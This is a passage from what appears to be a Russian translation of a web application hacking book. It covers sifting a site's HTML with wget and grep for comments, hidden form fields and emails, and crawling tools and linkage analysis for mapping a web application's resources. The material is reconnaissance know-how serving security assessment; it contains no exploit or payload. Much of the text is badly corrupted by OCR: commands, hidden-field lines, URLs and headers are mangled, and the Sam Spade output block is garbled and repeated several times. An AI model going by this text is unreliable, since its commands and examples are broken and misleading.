Вначале утилита wget создает каталог wvw.acme-art.com, а затем приступает к извлечению содержимого Web-узла. По мере продвижения по Web-узлу результирующий HTML-код сохраняется в файлах. При необходимости создаются новые каталоги, что позволяет сохранить структуру всего узла. После завершения работы утилиты wget для просмотра дерева каталогов, содержащихся в каталоге www.acne-art.com, и быстрого анализа структуры узла можно воспользоваться командой tree. root^blackbox:-/wgetl tree
'-wv.acne-art.com
-catalogue
— catalo^ut.cgi?id«0
catalogue.cgi?idal
catalogue.cgi?ida2
catalogue,cgi?id・3 -index.htal
—print, cgi
-guestbook
I — addguest.html ‘-_ guestbook, h tai
-images
falls.jpg
fl_thunb.jpg
flower.jpg
mn_thumb.jpg
noiitrey.jpg
t&hoel.jpg
th_thumb.jpg
—yf_thUBb.jpg
index.cgi?pageefalls.shtnl
index.cgi?page«flover.shtml
index.cgi?page"nontrey.shtal
index.cgi ?pageatahoel.shtsd - index.html
'Hvexs
|- index, htiil
,-nevs.cgi
一 12 Apr 2001.html
--1Гмау~2001.Ьий
-22*May"2001.html
-8 Dec 2001.btal
"一小工2gl.htal ^―print.cgi "
6 directories, 28 files
В каждом файле этих каталогов содержится HTML-код, полученный из соответствующих файлов или сценариев узла http: / /ww. acme-art. сол. Теперь можно приступать к поиску важной информации в исходном коде HTML.
Использование утилиты grep
Быстрее всего полученный HTML-код можно проанализировать с использованием утилиты grep, выполнив поиск по шаблону. Для решения той же задачи приверженцы системы Windows могут воспользоваться аналогичной утилитой findstr. В приведенной ниже таблице показано, как использовать утилиту grep для анализа исходного кода HTML и поиска в нем важной информации.
ЭлементыШаблон Синтаксис использования
утилиты дгер
Комментарии HTML
<1>
grep
-r
<!-- *
Внешние/внутренние гиперссыжи
HREF, ACTION
grep
-r
-i 1href»1 action»*
Адреса электронной почты
§
grep
-r
纯,*
Ключевые слова/дескрипторы <МЕТА>
<МЕТА
grep
-r
-i *<jnetar *
Скрытые поля
TYPE=HIDDEN
grep
-Г
-i 4ype=hiddenr *
Клиентские сценарии
<SCRIPT
grep
-I
-i Уscript' *
, Ниже приведен пример использования утилиты grep для анализа содержимого узла www.acme-art.com.
rootfblackbox:w/vget/ww.acne-art.coal grep -r -i 'hidden' *
index・cql?wf・lls・,htld4<INPUT TYPE=HIDDEN NMffi・ WFILE VMJ№*cart.£ttl#>
index. cgi?pa9«-falls. shtnl: <IHPVT TYPE-HIDDEK NAKE""ACTIOM VAWEiADCr〉
index.cgi?pa9e>falls.shtnl:<ПГРОТ nPE«HIDDBN SAME•二PCODE VALUE-^Be-OOl*»
iad«x.egi?pagt«t&botl • shtalз <1ЯГОТ TYPE=HIDDW NAM£a INIFILE VALUE**cart. inin>
index.egi?page<alUHl.Shtnl:<INMJT TYPE=HIDDEN HAKE-二ACTION VALUE-*AOD”>
index.cgi?page«tahoel»shtml:<INPUT TTPB-BIDDE39 HAMI«"fC0DE VALUE^BS-OOZ^» bd“.cgi?pagEontrey・sbtan<DtPUT TYPB-fllDDEH NANS- INIFILE VALOT-#cart.iniw> index.cgi?page-«ontrey. sht^: <IWPUT n?B«HIDDEK КЛМВ^АСТХОМ VALUkADC” index.cgiTpage-wmtrey.shtnl:<IKPUT TYPE=HIDDEN HMCB-JCODE V\LUB«#88-003w> ind«x.cgi?page>flov»r»Bhtal:<IKPUT TYPE«HIDDEN НАМЕ» JNIFILE VALUE»*cart.ini*> index. cgi?page«f lower. shtml:<IMPVT TYPE-HIDDEN NAMK«~ACTIOM VALUE-*ADD*> index.c^i?page-f lower. shtel: <ПФ0Т TTPMIDDBN NAMK-~PCODE VALUE--88-00Г>
Обратите внимание, что имя файла cart.ini отображается вместе со скрытым полем INIFILE. Если бы подобная простая проверка наличия уязвимых мест на узле WV. асяе-art. сош была выполнена в интерактивном режиме, то вполне возможно, что попытка взлома завершилась бы неудачно.
Sam Spade, Black Widow и Teleport Pro
Утилиты wget и grep являются чрезвычайно мощными средствами автоматизации процедуры просеивания исходного кода. Иногда для извлечения содержимого Web-узлов и его последующего анализа могут оказаться полезными такие утилиты GNU, как Sam Spade, Black Widow и Teleport Pro. Главный недостаток wget заключается: в том, что она не подцерживает несколько потоков. Black Widow (http://www.softbytelabs. com) и Teleport Pro (http: //www. tenmax. coin) — это прекрасные многопоточные программы, которые можно использовать в операционной системе Windows. Однако эти утилиты не позволяют выполнять поиск в полученном коде HTML. Для выполнения этой задачи можно воспользоваться утилитой Windows findstr.
Помимо извлечения исходного кода HTML, утилита Sam Spade vl.14 от компании Blighty Design (http://www. samspade .org) позволяет выполнять в этом коде как поиск по шаблону, так и поиск заданных элементов, например электронных адресов. На рис. 7.4 показан пример использования этой утилиты.
Рис. 7.4. Параметры настройки утилиты Sam Spade
На рис. 7.5 показаны результаты работы утилиты Sam Spade: типерссылки, адреса электронной почты и скрытые поля, полученные на Web-узле http:/ / www. acme - art.com.
;$i・;$i・mmFetching http: Z/www.aca«-art.con./ind«x. cgi7pag«»t*ho«l.shtal . . . doneFetching http: Z/www.aca«-art.con./ind«x. cgi7pag«»t*ho«l.shtal . . . done<XM9UT TYPE= HIDDEN НАИВ" PCODB VALUI«-88-002*><XM9UT TYPE= HIDDEN НАИВ" PCODB VALUI«-88-002*>Fetching http: / /www. «c»«-«rt .ao&Zind«x. cgi?pag«*flower. sht-»lFetching http: / /www. «c»«-«rt .ao&Zind«x. cgi?pag«*flower. sht-»lьмяйпц hit. ♦■•Haw «< wtr л|1 г<11*/. hntthfrilьмяйпц hit. ♦■•Haw «< wtr л|1 г<11*/. hntthfrilПГ1ПГ1Hiddr. form "1"*r form ■ :. foraHiddr. form "1"*r form ■ :. fora<INPUT<INPUT<IN₽UT<IN₽UT•r•rTYPE»HIDDSM NAHB«^INIFILK VALUE*pcert.ini*> 7YPI-HIDDKN НДНВ-^ACTION VALaB*"ADD*>TYPE»HIDDSM NAHB«^INIFILK VALUE*pcert.ini*> 7YPI-HIDDKN НДНВ-^ACTION VALaB*"ADD*>jEmail: ajq9«cs>«-art. .com.Perching beep: //vww, «сяе-акх. con,guest boo к/gu・srt book, htmlInternal link: http://*MW,«см«-екх.с«аУ/jEmail: ajq9«cs>«-art. .com.Perching beep: //vww, «сяе-акх. con,guest boo к/gu・srt book, htmlInternal link: http://*MW,«см«-екх.с«аУ/FetchingJnterrublInternalFetchingJnterrublInternalpetching htcp://ww.aoie-arc.cM,£nd**.cgi?p・g«Fontr・y.・hc・】petching htcp://ww.aoie-arc.cM,£nd**.cgi?p・g«Fontr・y.・hc・】Hidden form Hidden, fora Hid'ion formHidden form Hidden, fora Hid'ion formTYPE=HIDDEN NANB*_XNXfXLK VALUl«#cen. ini *>7Y₽r«WIDDrK NAKB"2ACTICN VALUI-"ADD*>SY9I-MXDDSN NAM”~PCOM VAlUt**ee-ODl" >TYPE=HIDDEN NANB*_XNXfXLK VALUl«#cen. ini *>7Y₽r«WIDDrK NAKB"2ACTICN VALUI-"ADD*>SY9I-MXDDSN NAM”~PCOM VAlUt**ee-ODl" >Hidden. Eqe Hidden form Midd〜n fesHidden. Eqe Hidden form Midd〜n fesHidden, form Hidden, form Hi dsn formHidden, form Hidden, form Hi dsn form<IN₽VT TYPI«HIDDEN МАКВ«_1М1ГХЬв УАЫГВ«иСвГ«.ini*>〈INPUT 2YPE=KXDDSN NAM”二ACilCW VALWADD"> <IN₽UT ?YPB*HIDDBN NAMB»*"PCOOB VALUT»ee8-001#><IN₽VT TYPI«HIDDEN МАКВ«_1М1ГХЬв УАЫГВ«иСвГ«.ini*>〈INPUT 2YPE=KXDDSN NAM”二ACilCW VALWADD"> <IN₽UT ?YPB*HIDDBN NAMB»*"PCOOB VALUT»ee8-001#>http://www.«см-art. eaoJmwb/ . . . donelink: httpi//wtMf. ася«-acx.сов/catalogue/link: http: / ■ uvw. acae-art. cert/link: http: //www.—-・e. 8・/gu・*tbook/gu”tbook. htnlhttp://www.«см-art. eaoJmwb/ . . . donelink: httpi//wtMf. ася«-acx.сов/catalogue/link: http: / ■ uvw. acae-art. cert/link: http: //www.—-・e. 8・/gu・*tbook/gu”tbook. htnl<IN₽UT T^9l»HIDDBN NAM"_NNI"« VALUB-"e#rt. iftl *><XN0UT TYK-HXDDSN NAM”二ЛСТХОМ VALUE="ADD"><IN9VT TYPE=HIDDEN NAKB«" КОМ VAbtlI«*Be-003*><IN₽UT T^9l»HIDDBN NAM"_NNI"« VALUB-"e#rt. iftl *><XN0UT TYK-HXDDSN NAM”二ЛСТХОМ VALUE="ADD"><IN9VT TYPE=HIDDEN NAKB«" КОМ VAbtlI«*Be-003*>Server: www. асяе-tirt. cut»Root URL: /Fetching ht^p: Z/www.acne*«rt.coeiZ . . . done>-::uai 1 : registrations 0acib« -art. .comFetching http: //www.«ся>«-асх.co«/in4«x. cgi7p*9«sf«lls.shtu»l .. . doneServer: www. асяе-tirt. cut»Root URL: /Fetching ht^p: Z/www.acne*«rt.coeiZ . . . done>-::uai 1 : registrations 0acib« -art. .comFetching http: //www.«ся>«-асх.co«/in4«x. cgi7p*9«sf«lls.shtu»l .. . done< INPUT<TN₽UT< INPUT<TN₽UT
;$i・
;$i・
m
m
Fetching http: Z/www.aca«-art.con./ind«x. cgi7pag«»t*ho«l.shtal . . . done
Fetching http: Z/www.aca«-art.con./ind«x. cgi7pag«»t*ho«l.shtal . . . done
<XM9UT TYPE= HIDDEN НАИВ" PCODB VALUI«-88-002*>
<XM9UT TYPE= HIDDEN НАИВ" PCODB VALUI«-88-002*>
Fetching http: / /www. «c»«-«rt .ao&Zind«x. cgi?pag«*flower. sht-»l
Fetching http: / /www. «c»«-«rt .ao&Zind«x. cgi?pag«*flower. sht-»l
ьмяйпц hit. ♦■•Haw «< wtr л|1 г<11*/. hntthfril
ьмяйпц hit. ♦■•Haw «< wtr л|1 г<11*/. hntthfril
ПГ1
ПГ1
Hiddr. form "1"*r form ■ :. fora
Hiddr. form "1"*r form ■ :. fora
<INPUT
<INPUT
<IN₽UT
<IN₽UT
•r
•r
TYPE»HIDDSM NAHB«^INIFILK VALUE*pcert.ini*> 7YPI-HIDDKN НДНВ-^ACTION VALaB*"ADD*>
TYPE»HIDDSM NAHB«^INIFILK VALUE*pcert.ini*> 7YPI-HIDDKN НДНВ-^ACTION VALaB*"ADD*>
jEmail: ajq9«cs>«-art. .com.
Perching beep: //vww, «сяе-акх. con,guest boo к/gu・srt book, html
Internal link: http://*MW,«см«-екх.с«аУ/
jEmail: ajq9«cs>«-art. .com.
Perching beep: //vww, «сяе-акх. con,guest boo к/gu・srt book, html
Internal link: http://*MW,«см«-екх.с«аУ/
Fetching
Jnterrubl
Internal
Fetching
Jnterrubl
Internal
petching htcp://ww.aoie-arc.cM,£nd**.cgi?p・g«Fontr・y.・hc・】
petching htcp://ww.aoie-arc.cM,£nd**.cgi?p・g«Fontr・y.・hc・】
Hidden form Hidden, fora Hid'ion form
Hidden form Hidden, fora Hid'ion form
TYPE=HIDDEN NANB*_XNXfXLK VALUl«#cen. ini *>
7Y₽r«WIDDrK NAKB"2ACTICN VALUI-"ADD*>
SY9I-MXDDSN NAM”~PCOM VAlUt**ee-ODl" >
TYPE=HIDDEN NANB*_XNXfXLK VALUl«#cen. ini *>
7Y₽r«WIDDrK NAKB"2ACTICN VALUI-"ADD*>
SY9I-MXDDSN NAM”~PCOM VAlUt**ee-ODl" >
Hidden. Eqe Hidden form Midd〜n fes
Hidden. Eqe Hidden form Midd〜n fes
Hidden, form Hidden, form Hi dsn form
Hidden, form Hidden, form Hi dsn form
<IN₽VT TYPI«HIDDEN МАКВ«_1М1ГХЬв УАЫГВ«иСвГ«.ini*>
〈INPUT 2YPE=KXDDSN NAM”二ACilCW VALWADD"> <IN₽UT ?YPB*HIDDBN NAMB»*"PCOOB VALUT»ee8-001#>
<IN₽VT TYPI«HIDDEN МАКВ«_1М1ГХЬв УАЫГВ«иСвГ«.ini*>
〈INPUT 2YPE=KXDDSN NAM”二ACilCW VALWADD"> <IN₽UT ?YPB*HIDDBN NAMB»*"PCOOB VALUT»ee8-001#>
http://www.«см-art. eaoJmwb/ . . . done
link: httpi//wtMf. ася«-acx.сов/catalogue/
link: http: / ■ uvw. acae-art. cert/
link: http: //www.—-・e. 8・/gu・*tbook/gu”tbook. htnl
http://www.«см-art. eaoJmwb/ . . . done
link: httpi//wtMf. ася«-acx.сов/catalogue/
link: http: / ■ uvw. acae-art. cert/
link: http: //www.—-・e. 8・/gu・*tbook/gu”tbook. htnl
<IN₽UT T^9l»HIDDBN NAM"_NNI"« VALUB-"e#rt. iftl *>
<XN0UT TYK-HXDDSN NAM”二ЛСТХОМ VALUE="ADD">
<IN9VT TYPE=HIDDEN NAKB«" КОМ VAbtlI«*Be-003*>
<IN₽UT T^9l»HIDDBN NAM"_NNI"« VALUB-"e#rt. iftl *>
<XN0UT TYK-HXDDSN NAM”二ЛСТХОМ VALUE="ADD">
<IN9VT TYPE=HIDDEN NAKB«" КОМ VAbtlI«*Be-003*>
Server: www. асяе-tirt. cut»
Root URL: /
Fetching ht^p: Z/www.acne*«rt.coeiZ . . . done
>-::uai 1 : registrations 0acib« -art. .com
Fetching http: //www.«ся>«-асх.co«/in4«x. cgi7p*9«sf«lls.shtu»l .. . done
Server: www. асяе-tirt. cut»
Root URL: /
Fetching ht^p: Z/www.acne*«rt.coeiZ . . . done
>-::uai 1 : registrations 0acib« -art. .com
Fetching http: //www.«ся>«-асх.co«/in4«x. cgi7p*9«sf«lls.shtu»l .. . done
< INPUT
<TN₽UT
< INPUT
<TN₽UT
Puc. 7.5. Использование утилиты Sam Spade для извлечения содержимого узла www. асяе-art«со®
Резюме
Фрагменты информации, которые на первый взгляд не должны вызывать никакого интереса, могут быть извлечены и использованы взломщиком в процессе атаки на Web - приложение. Предотвращение утеики информации — задача довольно сложная, особенно с учетом того, что на разработку Web-приложения накладываются: жесткие временные ограничения. Для защиты информации и предотвращения ее утеики не существует простого и быстрого пути. Остановить хакера можно лишь одним способом: стать на его место и проанализировать Web - приложение с его точки зрения. Хотя в этой главе вопросы просеивания исходного кода рассматривались не очень подробно, некоторые из них будут еще раз затронуты при обсуяэдении краж в электронных магазинах и перехватов сеанса.
ГЛАВА 8
Анализ связей
Web-узла
Он оставил имя пирата для других времен, связав его с единственной добродетелью и множеством преступлений.
Джорж Гордон Нозл Байрон (1788—1&24)
Введение
Вспомните, что Web -приложение состоит из различных компонентов, в том числе Web-сервера, сервера приложения и сервера баз данных. Для глубокого понимания рисков нарушения безопасности, присущих каждому из этих компонентов, необходимо проанализировать роль и фунвдиональные возможности каждого из них. В этой главе рассматриваются методы идентификации и классификации всех ресурсов и технологий, используемых в Web -приложении.
Web-ресурсы — это объекты, доступные броузерам через протокол HTTP или HTTP поверх SSL. Web-ресурсом может быть статический HTML-файл, программа, автоматически генерирующая HTML-код, или аплет, выполняемый в клиентской части приложения. Некоторые из этих ресурсов и основные принципы их использования рассматриваются в этой главе. Приведенный материал поможет разобраться в логике Web-хакера, а также в том, как с его ютки зрения выглядит Web-приложение.
Для понимания принципов хакинга в Web необходимо учитывать сильную концептуальную связь между Web-ресурсами и их назначением. Определенной Web-странице или ресурсу всегда соответствует цель, для достижения которой они предназначены. Глубокое понимание цели и ее представление в терминах обеспечения безопасности позволяют снизить уязвимость Web-ресурса как на этапе его проектирования, так и в процессе реализации. Например, Web-ресурс, предназначенный дпя размещения данных cookie на клиентском компьютере, и Web-ресурс, предоставляющий клиенту форму дпя ввода данных и передачи запросов на сервер, преследуют разные цели. Первый ресурс предназначен для установки пользовательского сеанса при размещении данных cookie, а второй — для получения данных от пользователя и формирования запроса к базе данных. Следовательно, первый ресурс связан с управлением сеансами, а второй — с интерфейсом базы данных. В результате системный аналитик может классифицировать все ресурсы по их фунвдиональному назначению. Процесс анализа набора Web-ресурсов, определения взаимосвязей между каждым Web- ресурсом и его функциональным назначением, и в конечном счете получение полного представления об используемых компонентах в контексте фунвдиональных групп — все это называется анализом связей (linkage analysis). Такой анализ позволяет удостовериться в том, что существует определенный ресурс, предназначенный для выполнения конкретной функции.
Анализ связей и язык HTML
В области информационных технологий в конце 1980-х годов появился новый термин ——гипертекст. Основным свойством гипертекста является то, что в нем содержится также информация о самом тексте. Элементы гипертекстового документа могут быть связаны с другими элементами или доБсументами.
ОбъеБсгы HTML связываются друг с другом с использованием гиперссылок. Дескриптор якоря (<A HREF="•・・">.♦ ・</А>) — один из наиболее простых способов связывания различных объектов HTML. К другим дескрипторам, в которых используются гиперссылки, относится <FORX>, с помощью которого входные данные передаются определенному Web-ресурсу, а также <OBJECT> и <APPLET>, позволяющие внедрять в документ различные объекты.
На первый взгляд кажется, что анализ связей относится к классу задач, выполняемых вручную. Визуальные компоненты, отображаемые броузером, очень легко проанализировать. Например, можно без особых проблем проанализировать HTML-форму или аплет, содержащиеся на Web-странице. Однако другие компоненты броузером не отобра-
жаются. Для анализа таких элементов необходимо перейти на более низкий уровень и просмотреть исходный код HTML или заголовки ответа HTTP. Просмотр каждого Web- ресурса и исходного HTML-кода вручную возможен для небольших Web-узлов или приложений, в которых задействовано не очень много ресурсов. При изучении Web-узлов или приложений большего размера просмотр и анализ каждого ресурса вручную становится абсолютно невозможным. В этом случае возникает потребность в использовании автоматизированных средств анализа связей.
Методология анализа связей
Первый шаг заключается: в составлении комплексной схемы анализа. Затем с использованием этой схемы, а также подходящих средств и приемов можно получить образ всего Web - приложения и собрать информацию, которой окажется достаточно для проведения анализа. Основная цель — получение и представление в некотором структурированном виде наиболее полной информации о Web-приложении. В результате должно быть получено обобшенное представление (карта) Web - приложения с разбивкой на фунвдиональные группы.
В таком представлении содержится различная информация, которая пригодится при анализе структуры приложения и вьщелении его составных частей, защиту которых нужно обеспечить. Четкой методики анализа связей не существует. Опыт, полученный авторами этой книги в процессе анализа Web - приложений, позволил им разработать собственную методологию, которая и описывается ниже. На рис. 8.1 содержится ее схематическое представление.
Рис. 8,1, Схема анализа связей
В рамках обсуждаемой методологии выделяется четыре основных этапа: исследование Web-узла, вьщеление в структуре приложения отдельных логических групп, анализ каждого Web-ресурса и инвентаризация Web-ресурсов. На первом этапе собирается вся возможная информация, которая может пригодиться при построении карты Web-приложения. Затем выполняется идентификация фунвдий, с которыми ассоциируется каждый из Web-ресурсов. Этот этап скорее интуитивный, чем технический. Зачастую простого взгляда на имена и слова, используемые в строке URL, вполне достаточно для определения роли, которую играет в приложении тот или иной Web-ресурс.
Третий этап является решающим. Он заключается в тщательном анализе каждого Web-ресурса и получении всей доступной информации. На рис. 8.1 в разделе нМето- ды” представлены шаги, выполняемые на этом этапе. На заключительном этапе происходит инвентаризация всех Web-ре сур сов, а полученные данные представляются в простом и структурированном формате.
Этап 1 : исследование Web-узла
Исследование Web-узла начинается с его первой страницы и продолжается с учетом каждой найденной на ней ссылки. С математической точки зрения краулинг (crawling) напоминает поиск в ширину на связном направленном графе. Краулер (crawler) — это программа, позволяющая автоматизировать данный процесс. Ее можно рассматривать как броузер, который способен ,,щелкать,* на каждой ссылке текущей страницы и перемещаться по всем страницам Web-узла. Краулер отправляет серверу HTTP-запрос GET, выполняет синтаксический анализ полученного в качестве ответа кода HTML, извлекает из него все гиперссылки и рекурсивно выполняет те же действия по отношению к каждой найденной гиперссылке.
Программы-краулеры могут быть достаточно сложными. Кроме простых переходов по гиперссылкам некоторые из них позволяют также создать на локальном жестком диске образ всего Web-узла, а затем извлечь из него различные элементы, такие, как комментарии, клиентские сценарии и тд. Подобные элементы рассматриваются в главе 7.
Исследование узла вручную
Если на Web-узле не содержится слишком много страниц, то для получения перечня всех гиперссылок можно воспользоваться обычным броузером. По сравнению с применением краулера такой подход гораздо точнее. Один из главных недостатков автоматического исследования Web-узла состоит в том, что краулеры не могут интерпретировать клиентские сценарии, например JavaScript, а также содержащиеся в них гиперссылки.
Несколько слов о заголовке HTTP-ответа
Каждый ответ HTTP состоит из двух частей: заголовка ответа и собственно данных. Обычно данные имеют формат HTML, однако они могут представлять собой также изображение GIF или какой-либо другой объект. При исследовании узла краулером интенсивно используются заголовки HTTP-ответа. Рассмотрим заголовок ответа более подробно.
ВТТР/1.1 200 0k
Server: Microsoft-ISS/5.0
Date: Sat, 16 Mar 2002 18:08:35 GMT
Connection: Keep-Alive
Content-Length: 496
Content-Type: text/htul
Set-Cookie: ASPSESSIONIDQQGGGRBQ-DPHDIIBNBEEBDItFNOraPKIPmil; path=/
Cache-control: private
Первым элементом заголовка HTTP-ответа является код ответа, содержащийся в первой строке заголовка. В приведенном выше фрагменте в качестве кода ответа указано значение 200. Оно говорит о том, что HTTP-запрос успешно обработан сервером и был сгенерирован соответствующий ответ. Если код ответа свидетельствует об ошибке, то она произошла при обращении к запрашиваемому ресурсу. Код ответа 404 означает, что запрашиваемый ресурс отсутствует. Код ответа 403 свидетельствует о том, что ресурс существует, но доступ к нему заблокирован. Другие коды ответа HTTP могут служить признаком того, что ресурс был перемещен или для доступа к нему требуются дополнительные привилегии. Программа-краулер должна уделять внимание этим кодам ответов и учитывать их при определении своего дальнейшего перемещения.
Следующим важным фрагментом информации, содержащимся в заголовке НТГР- ответа, является поле Content-Type. В этом поле описывается тип передаваемых данных, размещаемых в ответе HTTP после заголовка. В процессе исследования узла значение этого поля также анализируется краулером. Извлекать гиперссылки из GIF-файла не имеет смысла. Так что особое внимание необходимо уделять данным типа text/html.
Некоторые популярные средства, предназначенные для анализа связей
Для исследования Web -приложений можно воспользоваться несколькими коммерческими средствами. Некоторые из них рассматриваются ниже.
GNU-yTMnMTawget
Утилита wget — это простая программа-краулер, запускаемая из командной строки. Эту утилиту, а также соответствующий исходный код, можно найти по адресу: http://www.wget.org/. Хотя изначально wget была предназначена для использования в системе UNIX, в настоящее время имеется также версия для Endows. В главе 7 описывается использование утилиты wget для извлечения содержимого Web-узла, его сохранения на локальном жестком диске и поиска по шаблону определенной информации. Основными преимуществами утилиты wget являются простота в использовании, возможность запуска из командной строки и возможность использования на платформах Unix и 麻ndows. Кроме того, ее очень удобно использовать в сценариях оболочки или командных файлах, тем самым автоматизируя решение задачи анализа связей.
Поскольку утилита wget предоставляет возможность копирования содержимого Web-узла, для выполнения различных задач анализа можно одновременно запустить несколько команд или сценариев.
BlackWidow от SoftByteLabs
BlackWdow от лаборатории SoftByteLabs — это очень быстрая программа-сканер Web-узлов, которую можно использовать под управлением системы Windows. Эта программа многопоточная, благодаря чему несколько Web-страниц могут извлекаться параллельно. Пакет BlackWidow позволяет также использовать некоторые стандартные методы отсеивания исходного кода (см. главу 7). На рис. 8.2 программа Black'Wdow показана в процессе краулинга Web-узла http://www.foundstone.сот/. Во вкладках основного диалогового окна можно найти подробную информацию о процессе исследования, отдельно для каждого потока.
Рис. 8.2. Многопоточная программа Black Widow 6 действии
На рис. 8.3 показана иерархическая разворачивающаяся древовидная структура Web-узла. Такое представление полученной информации позволяет легко проанализировать размещение ресурсов на Web-узле. Кроме того, с использованием графического пользовательского интерфейса программы BlackWidow можно просмотреть адреса электронной почты, найденные на страницах, внешние ссылки и ошибки, которые возникли при попытке доступа к ресурсам. Как и утилита wget, BlackWidow позволяет создать локальный образ Web-узла. При этом адреса URL модифицируются с учетом реальных путей локальной файловой системы.
Funnel Web Profiler от Quest Software
Программа Funnel Web Profiler от компании Quest Software позволяет выполнить всесторонний анализ Web-узла. Ее бесплатную пробную версию можно получить по адресу: http: //www.quest. com. На рис. 8.4 эта программа показана в процессе исследования узла http:/ / www .foundstone.com/. Программа FunnelWeb Profiler имеет приятный графический интерфейс и предоставляет разнообразнейшую информацию.
После завершения сканирования Web-узла программа Funnel Web Profiler позволяет просматривать собранную информацию в различных ракурсах. Например, при переходе во вкладку Web Мар в диалоговом окне отображается структура Web-узла и содержащиеся на нем страницы. На рис. 8.5 показана карта Web-узла http://www.foundstone.com/. При этом каждый Web-ресурс представлен в виде узла, а на общей карте можно увидеть, как узлы связаны друг с другом. Карта Web-узла является его визуальным представлением, в котором отражена структура и взаимосвязи между ресурсами.
Рис 8.3. Структура узла http://vw.acn9com/
色"' ' J Статистика сканирования узла http://vw.foundstone.cota/предоставленная программой Funnel Web Profiler
На карте Web-узла находится группа взаимосвязанных узлов, для казсдого из которых указана начальная точка. В правом верхнем углу основного диалогового окна размещается уменьшенное изображение всей карты. Эту область окна удобно использовать для масштабирования карты и более детального просмотра ее конкретного фрагмента.
.q4*V мгида««*Г|.q4*V мгида««*Г|1им> - lnund•tш*^1им> - lnund•tш*^Рис. 8.5. Карта узла http://ww.fouodstone.соа/,полученная с исполъзованием программы Funnel Web ProfilerРис. 8.5. Карта узла http://ww.fouodstone.соа/,полученная с исполъзованием программы Funnel Web Profiler'№E2”丁'№E2”丁
.q4*V мгида««*Г|
.q4*V мгида««*Г|
1им> - lnund•tш*^
1им> - lnund•tш*^
Рис. 8.5. Карта узла http://ww.fouodstone.соа/,полученная с исполъзованием программы Funnel Web Profiler
Рис. 8.5. Карта узла http://ww.fouodstone.соа/,полученная с исполъзованием программы Funnel Web Profiler
'№E2”丁
'№E2”丁
При переходе во вкладку List в основном диалоговом окне программы Funnel Web Profiler в табличном формате будет отображен список всех ресурсов узла http://www. foundstone.com/ с указанием типа ресурса, его размера в байтах и даты последней модификации. На рис. 8.6 показан список ресурсов узла http://vw.foundstone.cojn/.
Заключительные замечания
Две другие утилиты, которые подробно не рассматривались, но о которых все же стоит упомянуть, — это Teleport Pro от компании Tennyson Maxwell (http:// www.tenjnax.com/) и Sam Spade (http://ww.samspade.org/). Утилита Teleport Pro работает под управлением Windows и в основном используется для копирования содержимого Web-узлов. При этом для выполнения копирования можно задать отдельные проекты. Поскольку программа Teleport Pro является многопоточной, локальная копия Web- узла создается достаточно быстро. Утилита Sam Spade также предназначена для использования на платформе Windows и в основном применяется для исследования Web-узлов и отсеивания ресурсов.
Теперь информации вполне достаточно для проведения тщательного анализа. Давайте посмотрим, что же с ней можно сделать.
Рис. 8.6. Список Web-ресурсов узла http://wwwjbundstone.com/
Программы-краулеры и перенаправление
Зачастую эти программы попадают в тупик, если встречается необычный метод связывания ресурсов или перенаправления. Однако некоторые из них все же способны правильно распознать подобные аномалии и предоставить хорошие результаты. Например, такая проблема может возникнуть в том случае, если перенаправление выполняется в клиентском сценарии JavaScript или VBScript.
В приведенном ниже фрагменте кода JavaScript содержится директива перенаправления (вызов метода объекта location), которая интерпретируется и выполняется броузером.
<SCRIPT LANGUAGE-4,JavaScript,r> location.replace(*./index.php3");
</SCRIPT>
В результате обработки этого фрагмента броузер должен обратиться к ресурсу index.php3, Это будет сделано лишь в том случае, если в броузере включен режим выполнения сценариев JavaScript. Однако краулер не сможет интерпретировать и выполнить оператор location.replace) )t поэтому в процессе исследования узла файл index.php3 будет пропущен.
Однако если перенаправление выполняется с использованием заголовка ответа Content- Location или дескриптора <МЕТА> языка HTML, то краулер сможет это обнаружить и, следовательно, проанализировать эти страницы.
В следующих двух примерах перенаправление выполняется с помощью заголовка HTTP-ответа Content-Location и дескриптора <МЕТА> соответственно.
Перенаправление с использованием поля заголовка Content-Location
В этом примере рассматривается следующий фрагмент:
HTTP/1.1 200 ok
Server: Microsoft-ISS/5.0
Date: Wen, 27 Mar 2002 08:13:01 GMT
Connection: Keep-Alive
Content-Location: http://vw. ex&nple. coo/example/index. aep
Set-Cookie: ASPSESSIOMIDQQGQGIYC-UroJBOWFtMUUDBHDINQABF; path=/
Cache-control: private
В данном случае серверу ww.exanple.com был передан запрос GET на получение Web-pecypca, предоставляемого по умолчанию и содержащегося в корневом каталоге. При анализе заголовка HTTP-ответа видно, что в нем содержится специальное поле Content-Location. Это приведет к тому, что за необходимым ресурсом броузер обратится по URL-адресу http://www.example. com/example/index.asp.
Перенаправление с использованием атрибута HTTP-EQUIV
Дескрипторы <МЕТА> можно вставлять в область заголовка документа HTML. Как правило, эти дескрипторы используются для добавления в документ списка ключевых слов, связанных с ним. Однако Дескриптор <МЕТА> может применяться и для перенаправления. При использовании атрибута НТГР-EQUIV дескриптора <МЕТА> броузер будет перенаправлен по адресу URL, указанному в этом атрибуте. В следующем дескрипторе <МЕТА> броузеру сообщается о том, что содержимое, взятое на узле http! / /yahoo. сои/, нужно обновлять через 2 секунды.
<МЕТА BTTP-EQUIV-Refresh COHTENT-*2; URL-http: //yahoo.coa/#>
В некоторых программах-краулерах реализованы методы синтаксического анализа, которые обеспечивают корректную обработку директив перенаправления, рассмотренных в предыдущих примерах. Однако некоторые из таких программ, например утилита wget, не могут обрабатывать дескрипторы HTML.
Этап 2: выделение в структуре приложения отдельных логических групп
Первое, что нужно сделать после исследования Web-узла, — это просмотреть структуру URL, используемых в Web-приложении. В большинстве случаев подобный анализ позволяет получить информацию о функциях приложения. Например, рассмотрим результаты исследования узла http: / /vww. exanple • con/, где среди прочих используются перечисленные ниже URL.
http; //wwv • exaiiple. сса/index • asp
http://ww.exaBple.cos/login/logiD.asp
http://ww.exaiiple.coii/login/secure/tr&nsactlon.a8p?idaAD678GNRT67344susersbobkioit*add http s//www • exaaple. coa/dovnl oad/download. cgi ?file*tools. exe
http: / /¥W• exanple.cca/dovnlottd/dovnload.cgi? f ile-wtup.exe
http://ww.example.com/scripts/search.cgi
http :〃 www. example. com/scripts/mail .pl
http://vwv. example. com/admin/adninlstratoi • asp
http: //vw. example. com/ news /index • asp
http : //www • exanple. coa/public/defeult.asp
http: 〃“v ・ example. сов/servlet/shovtrans ?id"13445466
http://wv • example. coe/servlet/setcustinf о
http ://www • example .con/contact в/
http: / /www.exaaple. com/profile/
http:/Zvww.example.com/private/
h:tp: /Zvww.examp 1 e. com/ logoff /logoff.asp
